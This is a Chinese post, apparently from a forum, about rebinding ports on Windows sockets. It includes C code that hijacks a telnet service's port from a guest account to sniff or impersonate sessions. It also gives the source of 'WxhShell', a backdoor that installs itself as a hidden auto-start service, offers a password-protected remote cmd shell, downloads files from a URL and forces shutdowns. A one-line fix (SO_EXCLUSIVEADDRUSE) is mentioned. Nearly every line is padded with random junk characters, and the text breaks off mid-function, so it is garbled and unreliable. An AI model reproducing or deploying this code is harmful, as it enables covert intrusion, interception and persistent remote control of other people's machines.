在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=6
3tp 9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
J$U_/b.mk \YSprXe saddr.sin_family = AF_INET;
1H?I?IT30 w*]FJ-b<.j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
fDRG+/q(+ F5y&"Y_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Qff.QI, Yd(<;JKF[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
CQPq5/@Y4 XE]"RD<z 这意味着什么?意味着可以进行如下的攻击:
4y.qtiIP>$ &smZ;yb|'h 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!4T!@"# m8V}E&6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Q_Wg4n5 s!S_Bt):3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
DYoGtks( dQz#&&s-
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(*_lLM@Cd LJ K0WWch 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{.?pl]Zl6 dvM%" k 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.%!^L#g TT no 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kE :{#>[Uz 6a<zZO`Z6+ #include
6Jq3l_ #include
cTq;<9Iew #include
3~{0X- #include
DJ9x?SL@KD DWORD WINAPI ClientThread(LPVOID lpParam);
1IlOU|4 int main()
PuhvJHT {
Omi/sKFMi WORD wVersionRequested;
I9dX\w} DWORD ret;
=ym<yI< WSADATA wsaData;
Y^nm{ ;G+ BOOL val;
GKKDO+A=! SOCKADDR_IN saddr;
tyWDa$u,u SOCKADDR_IN scaddr;
d0i|^ int err;
lwz\"8 SOCKET s;
a;v4R[lQ SOCKET sc;
;!C_}P int caddsize;
+&dkJ 4g[ HANDLE mt;
h?H|)a<^9 DWORD tid;
O~v~s
'c& wVersionRequested = MAKEWORD( 2, 2 );
!
,0 err = WSAStartup( wVersionRequested, &wsaData );
:[CEHRc7x if ( err != 0 ) {
mlPvF%Ba printf("error!WSAStartup failed!\n");
Wffz&pR8
return -1;
&E1m{gB( }
Qm=iCZ|E^! saddr.sin_family = AF_INET;
xI.0m /\;m/cwrl" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
MMUlA$*t l|{[vZpT saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
B[q"oI` saddr.sin_port = htons(23);
@qYT/V*/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1*|/N}g) {
C#4_`4{ printf("error!socket failed!\n");
c%bzrYQvA; return -1;
!{ {gL=_@ }
cRuN; val = TRUE;
zWv0y8[d //SO_REUSEADDR选项就是可以实现端口重绑定的
yn"4qC#Z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
tj*/%G{Y {
O;5lF printf("error!setsockopt failed!\n");
?;H}5>^8P return -1;
}'fa f{W }
Yg,;l-1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,<'>jaC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Br15S};Ce //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
oam;hmw o(H.1ESk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Vh>cV {
=R~zD4{" ret=GetLastError();
2gZ nrU printf("error!bind failed!\n");
H Tv#2WX return -1;
#0hqfs }
5@-H8* listen(s,2);
.ANR|G while(1)
hSR+7qN<e {
2P)O
0j\/ caddsize = sizeof(scaddr);
`uUzBV.FR //接受连接请求
4P"bOt5izR sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kN78j if(sc!=INVALID_SOCKET)
f0j]!g {
"*.N'J\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}r! +wp if(mt==NULL)
l GBg8/[ {
#9Jr?K43
printf("Thread Creat Failed!\n");
<,rOsE6 break;
O`@-
b# }
=<#G~8WYz }
oP9 y@U CloseHandle(mt);
?Pp*BB,*y }
IM7<z,* oF closesocket(s);
z#ki# o WSACleanup();
*z)gSX return 0;
i;U*Y
*f }
"M!m-] DWORD WINAPI ClientThread(LPVOID lpParam)
_ilitwRN3 {
UAT\ .
SOCKET ss = (SOCKET)lpParam;
9cUa@;*1 SOCKET sc;
1Y J?Y unsigned char buf[4096];
biU_ImJ>0 SOCKADDR_IN saddr;
|/^S%t6* long num;
gBi3^GxjM? DWORD val;
3l45(%g+ DWORD ret;
(XW'1@b //如果是隐藏端口应用的话,可以在此处加一些判断
]wdE
:k,D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y`j=(|DV saddr.sin_family = AF_INET;
(tOhuSW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
G_J}^B*?%v saddr.sin_port = htons(23);
F]P sS( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LiV&47e*> {
jx}'M$TA printf("error!socket failed!\n");
~59lkr8 return -1;
ooUVVp }
-{ 1P`&G val = 100;
<Q/)SN6_E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
GCq4{_B\Q {
*d;TpwUI ret = GetLastError();
vdAd@Z~\ return -1;
-l57!s~V }
pCrm `hy( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Vub6wb<G[ {
lTP#6zqfv ret = GetLastError();
~F@n `!c return -1;
.pQ5lK(R }
<j>;5!4!} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)\EIXTZY= {
Ec}%!p_$ printf("error!socket connect failed!\n");
_1qR1<V closesocket(sc);
3MFTP5~ closesocket(ss);
p\&/m return -1;
!?0C(VL(: }
jhQoBC>: while(1)
=>`zk^ {
'JJKnE zQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
NRJp8G Z%U //如果是嗅探内容的话,可以再此处进行内容分析和记录
DE?k|Get2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Qd
kus214 num = recv(ss,buf,4096,0);
aG^E^^Y if(num>0)
v9-4yZU^WR send(sc,buf,num,0);
IPK1g3Z else if(num==0)
7~XA92 break;
vm_]X{80; num = recv(sc,buf,4096,0);
t_w\k_
T if(num>0)
-43>?m/a send(ss,buf,num,0);
6>rz=yAM_ else if(num==0)
U364'O8_ break;
EI6kBRMo }
@4T closesocket(ss);
?x&}ammid closesocket(sc);
,++HiYOG}e return 0 ;
8R!-,I"$ }
g^(gT c{I]!y^! Cm)TFh6 ==========================================================
*>:phs~r{ 8Iw)]}T' 下边附上一个代码,,WXhSHELL
GZu12\0nZ |<h}' ==========================================================
$V!.z%Vgf *)-@'{]u B #include "stdafx.h"
452kE@=49 LdG? kbJ&y #include <stdio.h>
qX5>[qf- #include <string.h>
[YULvWAJ #include <windows.h>
H
Eq{TUTr #include <winsock2.h>
QJ;dw8 #include <winsvc.h>
1g{}O^ul #include <urlmon.h>
SA}Dkt&, = NZgbl #pragma comment (lib, "Ws2_32.lib")
*/aQ+%>jf #pragma comment (lib, "urlmon.lib")
$&Vba@v 6[k<&; #define MAX_USER 100 // 最大客户端连接数
TS9<uRO0 #define BUF_SOCK 200 // sock buffer
(LmU\ Pe% #define KEY_BUFF 255 // 输入 buffer
9 ;p5z[jI mI,lW|/l, #define REBOOT 0 // 重启
/\- }-"dm #define SHUTDOWN 1 // 关机
zgEN2d 0a{hCx|$J #define DEF_PORT 5000 // 监听端口
2I_ yUt- 'hU5]}= #define REG_LEN 16 // 注册表键长度
)~=8Ssu #define SVC_LEN 80 // NT服务名长度
U'ctO% 2K};-}eW // 从dll定义API
<hCO-r# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Vf pT5W< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ydYsmTr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?8H{AuLB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y?J/KW3 lr~
|=}^ // wxhshell配置信息
"/e)v{ struct WSCFG {
4x[_lsj int ws_port; // 监听端口
rIcgf1v70 char ws_passstr[REG_LEN]; // 口令
yjL+1_"B int ws_autoins; // 安装标记, 1=yes 0=no
~:7y!=8# char ws_regname[REG_LEN]; // 注册表键名
R)JH D7
1 char ws_svcname[REG_LEN]; // 服务名
Dh2Cj-|
~ char ws_svcdisp[SVC_LEN]; // 服务显示名
U52V1b char ws_svcdesc[SVC_LEN]; // 服务描述信息
z~vcwiYAP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
27ZqdHd int ws_downexe; // 下载执行标记, 1=yes 0=no
FNH)wk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
nL=+`aq_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]dNNw`1\V d=^QK{8 };
Jk>vn+q8P^ T.;{f{ // default Wxhshell configuration
ao9#E"BfM struct WSCFG wscfg={DEF_PORT,
{Z8GG "xuhuanlingzhe",
U MRFTwY 1,
/}~=)QHH "Wxhshell",
7yyX8p> "Wxhshell",
Rkg8 "WxhShell Service",
D
tZ?sG "Wrsky Windows CmdShell Service",
@a@}xgn{ "Please Input Your Password: ",
mbkt7. ,P 1,
a($7J6]M "
http://www.wrsky.com/wxhshell.exe",
(@XQ]S}L "Wxhshell.exe"
aUEr& $ };
,b!D8{W"N uthW
AT & // 消息定义模块
AE~a=e\x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
z8t;jw char *msg_ws_prompt="\n\r? for help\n\r#>";
Fnak:R0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
pZ|{p{_j char *msg_ws_ext="\n\rExit.";
3JQ7Cc> char *msg_ws_end="\n\rQuit.";
xtP:Q9!N char *msg_ws_boot="\n\rReboot...";
EOu[X'gLr char *msg_ws_poff="\n\rShutdown...";
) dk|S\ char *msg_ws_down="\n\rSave to ";
q`r| DcN~ v%cCJ SO# char *msg_ws_err="\n\rErr!";
/A,w{09G char *msg_ws_ok="\n\rOK!";
.
KLEx]f. PF/K&&9} char ExeFile[MAX_PATH];
#)~u
YQ int nUser = 0;
D(']k? HANDLE handles[MAX_USER];
bKsjbYuo int OsIsNt;
*:xOenI 2YZ>nqy SERVICE_STATUS serviceStatus;
|D-[M_T5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
RR[zvH} E ph5{i2U0 // 函数声明
N`efLOMl]
int Install(void);
@!dIa1Q" int Uninstall(void);
*
rlVE int DownloadFile(char *sURL, SOCKET wsh);
=9ff983 int Boot(int flag);
N gF7$@S void HideProc(void);
"LB
MYZ int GetOsVer(void);
2)\->$Q(H int Wxhshell(SOCKET wsl);
xAd@.^ void TalkWithClient(void *cs);
?}8r h% int CmdShell(SOCKET sock);
Jg=!GU/:: int StartFromService(void);
"!zJQl@ int StartWxhshell(LPSTR lpCmdLine);
p*0[:/4 WC<[<uI* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
W=^.s>7G VOID WINAPI NTServiceHandler( DWORD fdwControl );
LJ
<pE;`d gQ0,KYmI3_ // 数据结构和表定义
3,q?WH%_ SERVICE_TABLE_ENTRY DispatchTable[] =
u@e.5_:S) {
]P wS3:x {wscfg.ws_svcname, NTServiceMain},
Y}R$RDRL {NULL, NULL}
wO%lM };
+U<YM94? 8&8!(\xv // 自我安装
<9X@\uvU.< int Install(void)
yR|2><A {
uFSU|SDd. char svExeFile[MAX_PATH];
M]6+s`?r HKEY key;
\78^ O strcpy(svExeFile,ExeFile);
_x(hlHFk 082iEG // 如果是win9x系统,修改注册表设为自启动
dVB#Np if(!OsIsNt) {
RKzty=j4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[pTdeg;QE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k)7i^1U RegCloseKey(key);
7oF3^K'S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{Cm!5Q Yy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
d*{Cv2A. RegCloseKey(key);
<!RkkU&
6 return 0;
W>a}g[Ad }
YRVh[Bqg` }
)/'WboL }
td7(444] else {
%z@ Z^Jv b3-j2`# // 如果是NT以上系统,安装为系统服务
+7w5m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m0;j1-t if (schSCManager!=0)
Lp:VU-S {
8WQ#) SC_HANDLE schService = CreateService
#[9UCX^= (
mM&P&mz/D schSCManager,
:a/rwZ[r wscfg.ws_svcname,
13F]7l-# wscfg.ws_svcdisp,
C5 ILVQ SERVICE_ALL_ACCESS,
1z7+:~;l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^
34Ng SERVICE_AUTO_START,
jw{N#QDh SERVICE_ERROR_NORMAL,
`ZEFH7P svExeFile,
,zx{ RDI NULL,
c6vJ;iz NULL,
dQ{qA(m NULL,
C8|Ls(4Ck NULL,
+
GQ{{B NULL
zGU MH7 M );
?:9y
!Q= if (schService!=0)
Vv+nq_ {
V WZpEi CloseServiceHandle(schService);
2o<*rH CloseServiceHandle(schSCManager);
I"czo9Yspd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>I4BysR strcat(svExeFile,wscfg.ws_svcname);
ho{%7\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
neM)(` gp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=nCA=-Jv RegCloseKey(key);
(.!9 return 0;
H( .9tuA }
.TA)|df
^ }
El9T>!Z CloseServiceHandle(schSCManager);
5r
4~vK }
.Xp,|T }
ZPw4S2yw3. 5PeYQ-B| return 1;
WMC^G2 n }
3_
J'+ p3 5)K5V // 自我卸载
LAk
.f int Uninstall(void)
"W6cQsi {
?9{^gW4| HKEY key;
gBV4IQ GEy7Vb) if(!OsIsNt) {
" J9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5fk
A?Ecqq RegDeleteValue(key,wscfg.ws_regname);
3HtM<su*h RegCloseKey(key);
M**Sus87Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>4wigc RegDeleteValue(key,wscfg.ws_regname);
iWjNK"W RegCloseKey(key);
5(CInl return 0;
Td|,3
n }
BEb?jRMjLg }
Xxh^4vKjX }
Awfd0L;9 else {
=Ks&m4 UNb7WN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ue Ci{W if (schSCManager!=0)
JzN "o' {
zu?112-v2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-x6_HibbD if (schService!=0)
[x7Rq_^ {
)2y [#Blo if(DeleteService(schService)!=0) {
!U@ETo CloseServiceHandle(schService);
NqF*hat CloseServiceHandle(schSCManager);
U3Gg:onuE return 0;
[\Wl~
a l }
I_f%%N% CloseServiceHandle(schService);
Zex~ $r }
cG0)F%?X? CloseServiceHandle(schSCManager);
^NU_Tp:2^ }
PtuRXx }
BDfMFH[1 X_X7fRC0 return 1;
gHp4q!SJ7 }
yx?oxDJg tBzE(vW // 从指定url下载文件
[K
#$W int DownloadFile(char *sURL, SOCKET wsh)
XO?WxL9k] {
+?6]Vu&|f HRESULT hr;
SPb`Q" char seps[]= "/";
g~21|Sa$[ char *token;
/xgC`]- char *file;
y'>9'/& char myURL[MAX_PATH];
Vr1r2G2 char myFILE[MAX_PATH];
bl!pKOY l5^Q strcpy(myURL,sURL);
j^#\km B token=strtok(myURL,seps);
+/$&P3 while(token!=NULL)
^-?^iWQG {
(BH<\&yHE file=token;
n+=7u[AZi token=strtok(NULL,seps);
).,twf58 }
<k1muSe :f Rta[ GetCurrentDirectory(MAX_PATH,myFILE);
-{*3<2rFK strcat(myFILE, "\\");
Jityb}Z" strcat(myFILE, file);
OF1^_s; send(wsh,myFILE,strlen(myFILE),0);
w ;$elXP| send(wsh,"...",3,0);
dAG@'A\f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
iDDq<a.A if(hr==S_OK)
>j]Gz-wC return 0;
vRaxB else
4
w*m]D{ return 1;
$U ._4 B_Gcz5 }
]+pE1-p\ Rh~j -; // 系统电源模块
~,s'- int Boot(int flag)
_0naqa!JyH {
)<J #RgE HANDLE hToken;
3?aM\z; TOKEN_PRIVILEGES tkp;
)ty>{t h{HpI
0q4 if(OsIsNt) {
R+0fs$su OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h;E.y
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#('R`~ tkp.PrivilegeCount = 1;
8yI4=P"F, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^K[xVB(& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
a>#$&&oQ0 if(flag==REBOOT) {
kQ\l7xd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uHf1b?W return 0;
;gHcDnH) }
e"EGqn&! else {
'Eia=@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
JUGq\b&m return 0;
v^/<2/E"?4 }
4Z{R36 { }
b[&ri:AC else {
:L:] 3L if(flag==REBOOT) {
\A!Iln if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&> .QDO return 0;
:O,,fJ<x.O }
+c]D2@ctG else {
S~z$=IiB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fUq}dAs*K return 0;
CO
ZfR~} }
JeVbFZ8 }
wuCZz{c7 y4n~gTo(? return 1;
'q/C: Yo }
w5-^Py ~
c~j
// win9x进程隐藏模块
P-^-~/>n void HideProc(void)
9-A@2&J1 {
/HqD4GDoug .d#Hh&jj HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
92,@tNQQ} if ( hKernel != NULL )
e7Gb7c~ {
D ][I#vh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
fe6Op ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
D@{m FreeLibrary(hKernel);
d`?EEO }
us8ce+ H-WNu+ return;
l) KN5V }
dj,lbUL 3uvl'1(%J // 获取操作系统版本
rP6k} int GetOsVer(void)
7 oYD;li$k {
kd
p*6ynD OSVERSIONINFO winfo;
9)b{U2& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
,pZz`B# GetVersionEx(&winfo);
^^xzaF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
oe9S$C;$' return 1;
URh5ajoR% else
)i-`AJK-'v return 0;
YSZ[~?+ }
oqK:
5| ``Um$i~e% // 客户端句柄模块
DAN"&& int Wxhshell(SOCKET wsl)
u0uz~ s {
3WfZ zb+ SOCKET wsh;
@6U&7! struct sockaddr_in client;
u7p:6W DWORD myID;
2<2a3'pG Np~qtR while(nUser<MAX_USER)
h^K>(x {
X5tV Xd int nSize=sizeof(client);
Df1eHa5-7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zcEpywNP if(wsh==INVALID_SOCKET) return 1;
</fTn_{2s8 F zBny[F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[h\_yU[P if(handles[nUser]==0)
BIvz55g closesocket(wsh);
brn>FFAwO else
Y k"yup@3 nUser++;
YWq{?'AaR }
!\&4,l( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@[rlwwG, )4+uM'2% return 0;
B)-P#,} }
D t]FmU 4vH.B)S-
// 关闭 socket
okW'}@jD void CloseIt(SOCKET wsh)
=0U"07%} {
cja-MljD closesocket(wsh);
L\<J|87p? nUser--;
W?@+LQa?? ExitThread(0);
& *& }
A<g5:\3 Cmj `WSSa // 客户端请求句柄
.aIFm5N3? void TalkWithClient(void *cs)
Qnp.Na[JV {
ZOzyf/?. O{G $]FtF SOCKET wsh=(SOCKET)cs;
[
**F char pwd[SVC_LEN];
A'? W5~F char cmd[KEY_BUFF];
bNz2Uo!0K char chr[1];
_k
W:FB int i,j;
6HR*)*>z_ *WXqN!: while (nUser < MAX_USER) {
.rbKvd?-} AzBpQb* if(wscfg.ws_passstr) {
O /4)aW3B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P,Rqv)}X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
["?WVXCF8| //ZeroMemory(pwd,KEY_BUFF);
j(=zc6m i=0;
mc5$-}1V, while(i<SVC_LEN) {
X`n*M] 27jZ~Bp$ // 设置超时
PYYO-Twg fd_set FdRead;
_:;j)J0 struct timeval TimeOut;
-
e"XEot~ FD_ZERO(&FdRead);
1HNX6 FD_SET(wsh,&FdRead);
z0&I>PG^ TimeOut.tv_sec=8;
]r1C TimeOut.tv_usec=0;
2$%0~Z5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\~q cYp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o!t1EPJE* -wV0Nv(V8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
38q0iAH pwd
=chr[0]; 3H47 vm(`
if(chr[0]==0xd || chr[0]==0xa) { [ w1"
pwd=0; \8X8NCM
break; (vf5qF^
} 1]XIF?_Dm
i++; c'6$`nC
} F1o"H/:n
?rH=< #@
// 如果是非法用户,关闭 socket > 'KQL?!F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #8jH_bi
} \OXKK<^$uK
}GTy{Y*&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3/hAxd
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /2!"_?<L
:WnXoL
while(1) { y7s.6i}7
Y:="vWWG
ZeroMemory(cmd,KEY_BUFF); cM'5m
=8fZG
t
// 自动支持客户端 telnet标准 @'!61'}f
j=0; S$I:rbc
while(j<KEY_BUFF) { QWGFXy,=1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !bCLi>8
cmd[j]=chr[0]; &9'JHF!l
if(chr[0]==0xa || chr[0]==0xd) { >(HUW^T/9z
cmd[j]=0; +nslS:(
break; I2=Kq{
} R OQIw
j++; =<[ZFO~v
} &^YY>]1Py
,/>~J]:\;
// 下载文件 oYN# T=Xi
if(strstr(cmd,"http://")) { 62LQUl]<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); xX.Ox
if(DownloadFile(cmd,wsh)) Mhw\i&*U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Lpy`He
else [0e]zyB+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M O/-?@w
} CQ3{'"b
else { w65
$ R
i=<(fq
switch(cmd[0]) { h(G(U_V-Od
G:rM_q9\u
// 帮助 6l $o^R^D
case '?': { '17u
Wq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n1W}h@>8
break; :r/rByd'
} *lG$B@;rc|
// 安装 y!^RL,HIL
case 'i': { U-s6h;^O
if(Install()) U\~[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OkO"t
else fwQ%mU+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )V}u1C-N
break; #UJ@P Dwil
} Ve8`5
// 卸载 i,,>@R
case 'r': { L4;n$=e
if(Uninstall()) %]Nz54!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ec6{?\
else ;o3
.<"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?t}[Wi}7
break; ]yVB66l
} m x,X!}
// 显示 wxhshell 所在路径 1^zF/$%
case 'p': { gi@+27;
char svExeFile[MAX_PATH]; Z9aDE@A
strcpy(svExeFile,"\n\r"); >8tE`2[i*
strcat(svExeFile,ExeFile); &:jE+l
send(wsh,svExeFile,strlen(svExeFile),0); nw5#/5xw
break; t7A.b~#
} I"JT3[*s
// 重启 ESASsRzk
case 'b': { $@&bK2@.(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ($W9
?
if(Boot(REBOOT)) ccm <rZ7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ruk6+U
else { SqTm/ t
closesocket(wsh); ]-fZeyY$
ExitThread(0); V`WfJ>{;Z
} y~S[0]y>
break; ypd
} up2%QbN(
// 关机 sfrh+o57
case 'd': { 6y5arP*6e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {2:H`|x
if(Boot(SHUTDOWN)) %r!#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H[Pb Wy:
else { T8hQ< \g
closesocket(wsh); BkqIfV%O
ExitThread(0); E>6zwp
} 4
|5ekwk
break; kh,M'XbTo
} Iwn@%?7
// 获取shell MB |(,{S
case 's': { Ol%*3To
CmdShell(wsh); *j*jA/
closesocket(wsh); !6 $>|
ExitThread(0); nf
G:4k,
break; 9wb$_j]F`#
} @g= A\2
// 退出 ?<LG(WY
case 'x': { n'h
)(^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w\2[dd
CloseIt(wsh); r2H'r
,N
break; >Ia(g0
} <0LB]zDWe6
// 离开 wFd*6%
case 'q': { -=sxbs.aA
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \A~
'&
closesocket(wsh); ~V|!\CB
WSACleanup(); "4?hK
exit(1); g<dCUIbcQ
break; ~!nd'{{9
} #U_u~7?H$
} z~Pmh%b
} ``E;!r="v
F'~/
// 提示信息 i ('EBO
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =4%C?(\
} yED^/=\)}
} RU>vnDaC
{oJa8~P
return; 4
?c1c
} slmxit
k?8W2fC
// shell模块句柄 IGqmH=-
int CmdShell(SOCKET sock) s,29_z7
{ Q.]
)yqX6
STARTUPINFO si; +8Px` v1L
ZeroMemory(&si,sizeof(si)); q7PRJX
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z{CL!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jI V? p
PROCESS_INFORMATION ProcessInfo; .>nd@oU
char cmdline[]="cmd"; $tKATL*
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :cEe4a
return 0; SBoF(0<
} ?^!dLW
1!C,pXU#:
// 自身启动模式 \9?<E[
int StartFromService(void) A_fU7'B
{ QO>*3,(H,q
typedef struct 4>Y\2O?**
{ ).boe& .
DWORD ExitStatus; : [9'nR
DWORD PebBaseAddress; $P@cS1sB
DWORD AffinityMask; '_<`dzz
DWORD BasePriority; 3"hR:'ts
